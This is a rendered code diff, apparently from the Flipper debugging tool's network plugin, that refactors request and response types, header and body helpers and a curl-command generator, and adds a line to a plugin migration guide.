delete draft[responseId];
});
} }
export function combineBase64Chunks(chunks: string[]): string { export function combineBase64Chunks(chunks: string[]): string {

File diff suppressed because it is too large Load Diff

View File

@@ -7,20 +7,44 @@
* @format * @format
*/ */
import {DataSource} from 'flipper-plugin';
import {AnyNestedObject} from 'protobufjs'; import {AnyNestedObject} from 'protobufjs';
export type RequestId = string; export type RequestId = string;
export type Request = { export interface Request {
id: RequestId;
// request
requestTime: Date;
method: string;
url: string;
domain: string;
requestHeaders: Array<Header>;
requestData?: string;
// response
responseTime?: Date;
status?: number;
reason?: string;
responseHeaders?: Array<Header>;
responseData?: string;
responseLength?: number;
responseIsMock?: boolean;
duration?: number;
insights?: Insights;
}
export type Requests = DataSource<Request, 'id', string>;
export type RequestInfo = {
id: RequestId; id: RequestId;
timestamp: number; timestamp: number;
method: string; method: string;
url: string; url?: string;
headers: Array<Header>; headers: Array<Header>;
data: string | null | undefined; data: string | null | undefined;
}; };
export type Response = { export type ResponseInfo = {
id: RequestId; id: RequestId;
timestamp: number; timestamp: number;
status: number; status: number;
@@ -95,9 +119,9 @@ export type MockRoute = {
enabled: boolean; enabled: boolean;
}; };
export type PartialResponses = { export type PartialResponse = {
[id: string]: { initialResponse?: ResponseInfo;
initialResponse?: Response;
followupChunks: {[id: number]: string}; followupChunks: {[id: number]: string};
}; };
};
export type PartialResponses = Record<string, PartialResponse>;

View File

@@ -8,10 +8,16 @@
*/ */
import pako from 'pako'; import pako from 'pako';
import {Request, Response, Header} from './types'; import {Request, Header, ResponseInfo} from './types';
import {Base64} from 'js-base64'; import {Base64} from 'js-base64';
export function getHeaderValue(headers: Array<Header>, key: string): string { export function getHeaderValue(
headers: Array<Header> | undefined,
key: string,
): string {
if (!headers) {
return '';
}
for (const header of headers) { for (const header of headers) {
if (header.key.toLowerCase() === key.toLowerCase()) { if (header.key.toLowerCase() === key.toLowerCase()) {
return header.value; return header.value;
@@ -20,7 +26,10 @@ export function getHeaderValue(headers: Array<Header>, key: string): string {
return ''; return '';
} }
export function decodeBody(container: Request | Response): string { export function decodeBody(container: {
headers?: Array<Header>;
data: string | null | undefined;
}): string {
if (!container.data) { if (!container.data) {
return ''; return '';
} }
@@ -59,16 +68,21 @@ export function decodeBody(container: Request | Response): string {
} }
} }
export function convertRequestToCurlCommand(request: Request): string { export function convertRequestToCurlCommand(
request: Pick<Request, 'method' | 'url' | 'requestHeaders' | 'requestData'>,
): string {
let command: string = `curl -v -X ${request.method}`; let command: string = `curl -v -X ${request.method}`;
command += ` ${escapedString(request.url)}`; command += ` ${escapedString(request.url)}`;
// Add headers // Add headers
request.headers.forEach((header: Header) => { request.requestHeaders.forEach((header: Header) => {
const headerStr = `${header.key}: ${header.value}`; const headerStr = `${header.key}: ${header.value}`;
command += ` -H ${escapedString(headerStr)}`; command += ` -H ${escapedString(headerStr)}`;
}); });
// Add body. TODO: we only want this for non-binary data! See D23403095 // Add body. TODO: we only want this for non-binary data! See D23403095
const body = decodeBody(request); const body = decodeBody({
headers: request.requestHeaders,
data: request.requestData,
});
if (body) { if (body) {
command += ` -d ${escapedString(body)}`; command += ` -d ${escapedString(body)}`;
} }
@@ -101,3 +115,15 @@ function escapedString(str: string) {
// Simply use singly quoted string. // Simply use singly quoted string.
return "'" + str + "'"; return "'" + str + "'";
} }
export function getResponseLength(request: ResponseInfo): number {
const lengthString = request.headers
? getHeaderValue(request.headers, 'content-length')
: undefined;
if (lengthString) {
return parseInt(lengthString, 10);
} else if (request.data) {
return Buffer.byteLength(request.data, 'base64');
}
return 0;
}

View File

@@ -78,6 +78,7 @@ This step is completed if the plugin follows the next `plugin` / `component` str
* Similarly `yarn watch` can be used to run the unit tests in watch mode. Use the `p` key to filter for your specific plugin if `jest` doesn't do so automatically. * Similarly `yarn watch` can be used to run the unit tests in watch mode. Use the `p` key to filter for your specific plugin if `jest` doesn't do so automatically.
* Example of migrating the network plugin to use Sandy APIs. D24108772 / [Github commit](https://github.com/facebook/flipper/commit/fdde2761ef054e44f399c846a2eae6baba03861e) * Example of migrating the network plugin to use Sandy APIs. D24108772 / [Github commit](https://github.com/facebook/flipper/commit/fdde2761ef054e44f399c846a2eae6baba03861e)
* Example of migrating the example plugin to use Sandy APIs. D22308265 / [Github commit](https://github.com/facebook/flipper/commit/babc88e472612c66901d21d289bd217ef28ee385#diff-a145be72bb13a4675dcc8cbac5e55abcd9a542cc92f5c781bd7d3749f13676fc) * Example of migrating the example plugin to use Sandy APIs. D22308265 / [Github commit](https://github.com/facebook/flipper/commit/babc88e472612c66901d21d289bd217ef28ee385#diff-a145be72bb13a4675dcc8cbac5e55abcd9a542cc92f5c781bd7d3749f13676fc)
* Other plugins that can be check for inspiration are the Logs and Network plugins.
* These steps typically does not involve change much the UI or touch other files than `index.tsx`. Typically, the root component needs to be changed, but most other components can remain as is. However, if a ManagedTable is used (see the next section), it might be easier to already convert the table in this step. * These steps typically does not involve change much the UI or touch other files than `index.tsx`. Typically, the root component needs to be changed, but most other components can remain as is. However, if a ManagedTable is used (see the next section), it might be easier to already convert the table in this step.
* Sandy has first class support for unit testing your plugin and mocking device interactions. Please do set up unit tests per documentation linked above! * Sandy has first class support for unit testing your plugin and mocking device interactions. Please do set up unit tests per documentation linked above!
* If the original plugin definition contained `state`, it is recommended to create one new state atoms (`createState`) per field in the original `state`, rather than having one big atom. * If the original plugin definition contained `state`, it is recommended to create one new state atoms (`createState`) per field in the original `state`, rather than having one big atom.